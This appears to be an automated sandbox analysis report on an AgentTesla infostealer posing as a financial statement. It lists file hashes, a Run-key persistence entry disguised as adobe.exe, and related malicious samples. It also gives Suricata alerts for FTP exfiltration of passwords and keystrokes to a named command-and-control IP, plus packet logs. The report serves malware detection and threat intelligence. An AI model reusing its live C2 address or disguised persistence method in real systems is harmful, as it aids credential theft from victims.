EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 221 Number of non-executed functions: 20
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27, 52.149.20.212, 13.107.246.45
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
08:01:55	API Interceptor	7365586x Sleep call for process: Statement of Account - USD 16,720.00.exe modified
08:02:09	API Interceptor	5926229x Sleep call for process: adobe.exe modified
14:01:59	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run adobe C:\Users\user\AppData\Roaming\adobe\adobe.exe
14:02:07	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run adobe C:\Users\user\AppData\Roaming\adobe\adobe.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.26.12.205	RtU8kXPnKr.exe	Get hash	malicious	Quasar	Browse	api.ipify.org/
	jgbC220X2U.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=text
	xKvkNk9SXR.exe	Get hash	malicious	TrojanRansom	Browse	api.ipify.org/
	GD8c7ARn8q.exe	Get hash	malicious	TrojanRansom	Browse	api.ipify.org/
	8AbMCL2dxM.exe	Get hash	malicious	RCRU64, TrojanRansom	Browse	api.ipify.org/
	Simple2.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	Ransomware Mallox.exe	Get hash	malicious	Targeted Ransomware	Browse	api.ipify.org/
	Yc9hcFC1ux.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	6706e721f2c06.exe	Get hash	malicious	Remcos	Browse	api.ipify.org/
	perfcc.elf	Get hash	malicious	Xmrig	Browse	api.ipify.org/
213.189.52.181	HBL BLJ2T2411809005 & DAJKT2411000812.exe	Get hash	malicious	AgentTesla	Browse
	Statement JULY #U007e SEP 2024 USD 19,055.00.exe	Get hash	malicious	AgentTesla	Browse
	Arrival Notice - BL 713410220035.PDF.exe	Get hash	malicious	AgentTesla	Browse
	BL NBNSA240600050.xlsx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	DC74433Y7889021.xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	PRE ALERT Docs_PONBOM01577.xlsx.exe	Get hash	malicious	AgentTesla	Browse
	Ship Docs YINGHAI-MANE PO 240786.xlsx.exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s4.serv00.com	HBL BLJ2T2411809005 & DAJKT2411000812.exe	Get hash	malicious	AgentTesla	Browse	213.189.52.181
	Statement JULY #U007e SEP 2024 USD 19,055.00.exe	Get hash	malicious	AgentTesla	Browse	213.189.52.181
	Arrival Notice - BL 713410220035.PDF.exe	Get hash	malicious	AgentTesla	Browse	213.189.52.181
	BL NBNSA240600050.xlsx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	213.189.52.181
	DC74433Y7889021.xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	213.189.52.181
	PRE ALERT Docs_PONBOM01577.xlsx.exe	Get hash	malicious	AgentTesla	Browse	213.189.52.181
	Ship Docs YINGHAI-MANE PO 240786.xlsx.exe	Get hash	malicious	AgentTesla	Browse	213.189.52.181
api.ipify.org	RtU8kXPnKr.exe	Get hash	malicious	Quasar	Browse	104.26.12.205
	Loader.exe	Get hash	malicious	Meduza Stealer	Browse	104.26.13.205
	Jx6bD8nM4qW9sL3v.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	dsoft.exe	Get hash	malicious	Python Stealer, Creal Stealer	Browse	104.26.13.205
	soft 1.14.exe	Get hash	malicious	Meduza Stealer	Browse	104.26.13.205
	markiz.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	utkin.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	https://www.canva.com/design/DAGaHpv1g1M/bVE7B2sT8b8T3P-e2xb64w/view?utm_content=DAGaHpv1g1M&utm_campaign=designshare&utm_medium=link2&utm_source=uniquelinks&utlId=h1ee3678e45	Get hash	malicious	HTMLPhisher	Browse	104.26.12.205
	https://mandrillapp.com/track/click/30363981/app.salesforceiq.com?p=eyJzIjoiQ21jNldfVTIxTkdJZi1NQzQ1SGE3SXJFTW1RIiwidiI6MSwicCI6IntcInVcIjozMDM2Mzk4MSxcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL2FwcC5zYWxlc2ZvcmNlaXEuY29tXFxcL3I_dD1BRndoWmYwNjV0QlFRSnRiMVFmd1A1dC0tMHZnQkowaF9lYklFcTVLRlhTWHFVWmFpNUo4RlFTd1dycTkzR1FPbEFuczlLREd2VzRJQ2Z2eGo4WjVDSkQxUTlXdDVvME5XNWMwY0tIaXpVQWJ1YnBhT2dtS2pjVkxkaDFZWE8ybklsdFRlb2VQZ2dVTCZ0YXJnZXQ9NjMxZjQyMGVlZDEzY2EzYmNmNzdjMzI0JnVybD1odHRwczpcXFwvXFxcL21haW4uZDNxczBuMG9xdjNnN28uYW1wbGlmeWFwcC5jb21cIixcImlkXCI6XCI5ZTdkODJiNWQ0NzA0YWVhYTQ1ZjkxY2Y0ZTFmNGRiMFwiLFwidXJsX2lkc1wiOltcImY5ODQ5NWVhMjMyYTgzNjg1ODUxN2Y4ZTRiOTVjZjg4MWZlODExNmJcIl19In0	Get hash	malicious	Unknown	Browse	104.26.12.205
	Ref#20203216.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	MJhe4xWsnR.msi	Get hash	malicious	Unknown	Browse	162.159.61.3
	MJhe4xWsnR.msi	Get hash	malicious	Unknown	Browse	172.64.41.3
	5EfYBe3nch.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LiteHTTP Bot, LummaC Stealer, Poverty Stealer, Stealc	Browse	104.21.96.1
	zhMQ0hNEmb.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	2RxMkSAgZ8.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	Dl6wuWiQdg.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	104.21.112.1
	bzzF5OFbVi.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	6684V5n83w.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	Bp4LoSXw83.lnk	Get hash	malicious	Unknown	Browse	172.64.41.3
	x6VtGfW26X.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
ECO-ATMAN-PLECO-ATMAN-PL	eu6OEBpBCI.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	91.227.41.9
	HBL BLJ2T2411809005 & DAJKT2411000812.exe	Get hash	malicious	AgentTesla	Browse	213.189.52.181
	Amalgamers.exe	Get hash	malicious	AgentTesla	Browse	185.36.171.17
	Statement JULY #U007e SEP 2024 USD 19,055.00.exe	Get hash	malicious	AgentTesla	Browse	213.189.52.181
	9zldYT23H2.elf	Get hash	malicious	Mirai, Gafgyt	Browse	31.186.82.2
	RicevutaPagamento_115538206.dat	Get hash	malicious	Unknown	Browse	128.204.223.111
	http://bdvenlineabanven.serv00.net/	Get hash	malicious	Unknown	Browse	85.194.246.69
	http://entrabdvline.serv00.net/	Get hash	malicious	Unknown	Browse	85.194.246.69
	http://entrabdvline.serv00.net/	Get hash	malicious	Unknown	Browse	85.194.246.69
	http://ahksoch.serv00.net/x92gamy6wh/	Get hash	malicious	HTMLPhisher	Browse	128.204.218.63

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	GYede3Gwn0.lnk	Get hash	malicious	Unknown	Browse	104.26.12.205
	6684V5n83w.exe	Get hash	malicious	Vidar	Browse	104.26.12.205
	Bp4LoSXw83.lnk	Get hash	malicious	Unknown	Browse	104.26.12.205
	heteronymous.vbs	Get hash	malicious	Remcos, GuLoader	Browse	104.26.12.205
	re5.mp4.hta	Get hash	malicious	LummaC	Browse	104.26.12.205
	file.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.26.12.205
	Poket.mp4.hta	Get hash	malicious	LummaC	Browse	104.26.12.205
	Fizzy Loader.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	104.26.12.205
	Epsilon.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	XClient.exe	Get hash	malicious	XWorm	Browse	104.26.12.205

Process:	C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	486912
Entropy (8bit):	7.480821743600628
Encrypted:	false
SSDEEP:	6144:Y9yYMqdl+a/ZNntauGBOaYcR/uVc3fTlAoOjlrrhTFInd6Xcfg9UJU8:2dMqdl+YZNorUVcvWoOJFTWndm+
MD5:	CF173CA1DB13DFC7237FD33630926B65
SHA1:	783E42E20DA75EA1A2FD7A02E3824F251F26CF4F
SHA-256:	1B9D152C5CD6E2904ADA0CA707DBD2BB089AC59F8B07723490552A000848CC54
SHA-512:	31A7210E2EF813763225C39F5C42F00CD7899539755FD090E256AB17A16C88238E9A659BED9CF4BFD9F5BCB310FB850A6E2E04C41AAF1F2F8FD98DB99FA8ADDC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...4X................0..d............... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...4c... ...d.................. ..`.rsrc................f..............@..@.reloc...............l..............@..B........................H.......t...`................$..........................................j.((.....()....s....(....&.(+.....".......".(0....Vs....(1...t.........".(+.....s6........Vs6........(..........s6........Vs6........sF........F.~....(O....^...6.~.....(P...F.~....(O....^...6.~.....(P...F.~....(O....^...6.~.....(P...F.~....(O........J.~..........(Q...F.~....(O....^...6.~.....(P...F.~....(O........J.~..........(Q...R.(R...-..(S.......F.~....(O...t....6.~.....(Q...

C:\Users\user\AppData\Roaming\Adobe\adobe.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.480821743600628
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	Statement of Account - USD 16,720.00.exe
File size:	486'912 bytes
MD5:	cf173ca1db13dfc7237fd33630926b65
SHA1:	783e42e20da75ea1a2fd7a02e3824f251f26cf4f
SHA256:	1b9d152c5cd6e2904ada0ca707dbd2bb089ac59f8b07723490552a000848cc54
SHA512:	31a7210e2ef813763225c39f5c42f00cd7899539755fd090e256ab17a16c88238e9a659bed9cf4bfd9f5bcb310fb850a6e2e04c41aaf1f2f8fd98db99fa8addc
SSDEEP:	6144:Y9yYMqdl+a/ZNntauGBOaYcR/uVc3fTlAoOjlrrhTFInd6Xcfg9UJU8:2dMqdl+YZNorUVcvWoOJFTWndm+
TLSH:	D6A4AE583BA008B5D53A89F5F8F5803D7A3079A225E2C82525CF1FDC7DCAB50899726F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...4X................0..d............... ........@.. ....................................@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x47832e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x9FFD5834 [Thu Jan 21 21:42:12 2055 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x782d4	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x7a000	0x586	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7c000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x76334	0x76400	9cbabd01a398367b1340d08042982fd0	False	0.6754694932610994	data	7.494181501767098	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x7a000	0x586	0x600	0e874ca99d069383826abad4e45e4f71	False	0.4127604166666667	data	4.0143412955081095	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x7c000	0xc	0x200	53e20c5b5bbaeab7ffd53901fdb8269b	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x7a0a0	0x2fc	data			0.43455497382198954
RT_MANIFEST	0x7a39c	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-31T14:01:58.492073+0100	2029927	ET MALWARE AgentTesla Exfil via FTP	1	192.168.2.5	49707	213.189.52.181	21	TCP
2024-12-31T14:01:59.039543+0100	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.5	49709	213.189.52.181	63775	TCP
2024-12-31T14:01:59.044751+0100	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.5	49709	213.189.52.181	63775	TCP
2024-12-31T14:02:12.444136+0100	2029927	ET MALWARE AgentTesla Exfil via FTP	1	192.168.2.5	49713	213.189.52.181	21	TCP
2024-12-31T14:02:13.007555+0100	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.5	49718	213.189.52.181	63475	TCP
2024-12-31T14:02:13.012652+0100	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.5	49718	213.189.52.181	63475	TCP
2024-12-31T14:02:20.618400+0100	2029927	ET MALWARE AgentTesla Exfil via FTP	1	192.168.2.5	49745	213.189.52.181	21	TCP
2024-12-31T14:02:21.179731+0100	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.5	49756	213.189.52.181	63292	TCP
2024-12-31T14:02:21.188362+0100	1800009	Joe Security MALWARE AgentTesla - FTP Exfil Passwords	1	192.168.2.5	49756	213.189.52.181	63292	TCP
2024-12-31T14:02:21.188362+0100	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.5	49756	213.189.52.181	63292	TCP
2024-12-31T14:03:30.360786+0100	1800007	Joe Security MALWARE AgentTesla - FTP Exfil Keyboard Logs	1	192.168.2.5	49990	213.189.52.181	64485	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 31, 2024 14:01:54.757396936 CET	49704	443	192.168.2.5	104.26.12.205
Dec 31, 2024 14:01:54.757438898 CET	443	49704	104.26.12.205	192.168.2.5
Dec 31, 2024 14:01:54.757503986 CET	49704	443	192.168.2.5	104.26.12.205
Dec 31, 2024 14:01:54.768824100 CET	49704	443	192.168.2.5	104.26.12.205
Dec 31, 2024 14:01:54.768838882 CET	443	49704	104.26.12.205	192.168.2.5
Dec 31, 2024 14:01:55.246445894 CET	443	49704	104.26.12.205	192.168.2.5
Dec 31, 2024 14:01:55.246572971 CET	49704	443	192.168.2.5	104.26.12.205
Dec 31, 2024 14:01:55.249650955 CET	49704	443	192.168.2.5	104.26.12.205
Dec 31, 2024 14:01:55.249659061 CET	443	49704	104.26.12.205	192.168.2.5
Dec 31, 2024 14:01:55.249875069 CET	443	49704	104.26.12.205	192.168.2.5
Dec 31, 2024 14:01:55.287910938 CET	49704	443	192.168.2.5	104.26.12.205
Dec 31, 2024 14:01:55.331342936 CET	443	49704	104.26.12.205	192.168.2.5
Dec 31, 2024 14:01:55.396138906 CET	443	49704	104.26.12.205	192.168.2.5
Dec 31, 2024 14:01:55.396194935 CET	443	49704	104.26.12.205	192.168.2.5
Dec 31, 2024 14:01:55.396321058 CET	49704	443	192.168.2.5	104.26.12.205
Dec 31, 2024 14:01:55.405819893 CET	49704	443	192.168.2.5	104.26.12.205
Dec 31, 2024 14:01:56.682974100 CET	49707	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:01:56.687819958 CET	21	49707	213.189.52.181	192.168.2.5
Dec 31, 2024 14:01:56.687897921 CET	49707	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:01:57.269740105 CET	21	49707	213.189.52.181	192.168.2.5
Dec 31, 2024 14:01:57.270003080 CET	49707	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:01:57.274830103 CET	21	49707	213.189.52.181	192.168.2.5
Dec 31, 2024 14:01:57.459942102 CET	21	49707	213.189.52.181	192.168.2.5
Dec 31, 2024 14:01:57.460134983 CET	49707	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:01:57.464951992 CET	21	49707	213.189.52.181	192.168.2.5
Dec 31, 2024 14:01:57.718554020 CET	21	49707	213.189.52.181	192.168.2.5
Dec 31, 2024 14:01:57.718759060 CET	49707	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:01:57.723635912 CET	21	49707	213.189.52.181	192.168.2.5
Dec 31, 2024 14:01:57.908855915 CET	21	49707	213.189.52.181	192.168.2.5
Dec 31, 2024 14:01:57.915699959 CET	49707	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:01:57.920552969 CET	21	49707	213.189.52.181	192.168.2.5
Dec 31, 2024 14:01:58.105416059 CET	21	49707	213.189.52.181	192.168.2.5
Dec 31, 2024 14:01:58.105654001 CET	49707	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:01:58.110418081 CET	21	49707	213.189.52.181	192.168.2.5
Dec 31, 2024 14:01:58.295603037 CET	21	49707	213.189.52.181	192.168.2.5
Dec 31, 2024 14:01:58.295809031 CET	49707	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:01:58.300592899 CET	21	49707	213.189.52.181	192.168.2.5
Dec 31, 2024 14:01:58.486294985 CET	21	49707	213.189.52.181	192.168.2.5
Dec 31, 2024 14:01:58.486927986 CET	49709	63775	192.168.2.5	213.189.52.181
Dec 31, 2024 14:01:58.491914988 CET	63775	49709	213.189.52.181	192.168.2.5
Dec 31, 2024 14:01:58.492002964 CET	49709	63775	192.168.2.5	213.189.52.181
Dec 31, 2024 14:01:58.492073059 CET	49707	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:01:58.496848106 CET	21	49707	213.189.52.181	192.168.2.5
Dec 31, 2024 14:01:59.039180994 CET	21	49707	213.189.52.181	192.168.2.5
Dec 31, 2024 14:01:59.039542913 CET	49709	63775	192.168.2.5	213.189.52.181
Dec 31, 2024 14:01:59.039542913 CET	49709	63775	192.168.2.5	213.189.52.181
Dec 31, 2024 14:01:59.044404030 CET	63775	49709	213.189.52.181	192.168.2.5
Dec 31, 2024 14:01:59.044693947 CET	63775	49709	213.189.52.181	192.168.2.5
Dec 31, 2024 14:01:59.044750929 CET	49709	63775	192.168.2.5	213.189.52.181
Dec 31, 2024 14:01:59.089077950 CET	49707	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:01:59.230031013 CET	21	49707	213.189.52.181	192.168.2.5
Dec 31, 2024 14:01:59.276571035 CET	49707	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:02:08.942605019 CET	49712	443	192.168.2.5	104.26.12.205
Dec 31, 2024 14:02:08.942647934 CET	443	49712	104.26.12.205	192.168.2.5
Dec 31, 2024 14:02:08.942723989 CET	49712	443	192.168.2.5	104.26.12.205
Dec 31, 2024 14:02:08.946527958 CET	49712	443	192.168.2.5	104.26.12.205
Dec 31, 2024 14:02:08.946546078 CET	443	49712	104.26.12.205	192.168.2.5
Dec 31, 2024 14:02:09.401612997 CET	443	49712	104.26.12.205	192.168.2.5
Dec 31, 2024 14:02:09.401798964 CET	49712	443	192.168.2.5	104.26.12.205
Dec 31, 2024 14:02:09.403330088 CET	49712	443	192.168.2.5	104.26.12.205
Dec 31, 2024 14:02:09.403340101 CET	443	49712	104.26.12.205	192.168.2.5
Dec 31, 2024 14:02:09.403676033 CET	443	49712	104.26.12.205	192.168.2.5
Dec 31, 2024 14:02:09.448533058 CET	49712	443	192.168.2.5	104.26.12.205
Dec 31, 2024 14:02:09.450141907 CET	49712	443	192.168.2.5	104.26.12.205
Dec 31, 2024 14:02:09.491372108 CET	443	49712	104.26.12.205	192.168.2.5
Dec 31, 2024 14:02:09.554346085 CET	443	49712	104.26.12.205	192.168.2.5
Dec 31, 2024 14:02:09.554476976 CET	443	49712	104.26.12.205	192.168.2.5
Dec 31, 2024 14:02:09.554949999 CET	49712	443	192.168.2.5	104.26.12.205
Dec 31, 2024 14:02:09.557167053 CET	49712	443	192.168.2.5	104.26.12.205
Dec 31, 2024 14:02:10.586541891 CET	49713	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:02:10.591447115 CET	21	49713	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:10.591520071 CET	49713	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:02:11.168958902 CET	21	49713	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:11.169184923 CET	49713	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:02:11.173952103 CET	21	49713	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:11.359651089 CET	21	49713	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:11.360601902 CET	49713	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:02:11.365446091 CET	21	49713	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:11.664518118 CET	21	49713	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:11.667134047 CET	49713	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:02:11.672036886 CET	21	49713	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:11.858036041 CET	21	49713	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:11.865643024 CET	49713	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:02:11.870492935 CET	21	49713	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:12.058001995 CET	21	49713	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:12.058142900 CET	49713	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:02:12.062849998 CET	21	49713	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:12.248311996 CET	21	49713	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:12.248429060 CET	49713	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:02:12.253264904 CET	21	49713	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:12.438653946 CET	21	49713	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:12.439155102 CET	49718	63475	192.168.2.5	213.189.52.181
Dec 31, 2024 14:02:12.443998098 CET	63475	49718	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:12.444072008 CET	49718	63475	192.168.2.5	213.189.52.181
Dec 31, 2024 14:02:12.444135904 CET	49713	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:02:12.448892117 CET	21	49713	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:13.007286072 CET	21	49713	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:13.007555008 CET	49718	63475	192.168.2.5	213.189.52.181
Dec 31, 2024 14:02:13.007607937 CET	49718	63475	192.168.2.5	213.189.52.181
Dec 31, 2024 14:02:13.012372017 CET	63475	49718	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:13.012604952 CET	63475	49718	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:13.012651920 CET	49718	63475	192.168.2.5	213.189.52.181
Dec 31, 2024 14:02:13.057790995 CET	49713	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:02:13.198127031 CET	21	49713	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:13.245312929 CET	49713	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:02:16.974569082 CET	49732	443	192.168.2.5	104.26.12.205
Dec 31, 2024 14:02:16.974590063 CET	443	49732	104.26.12.205	192.168.2.5
Dec 31, 2024 14:02:16.974656105 CET	49732	443	192.168.2.5	104.26.12.205
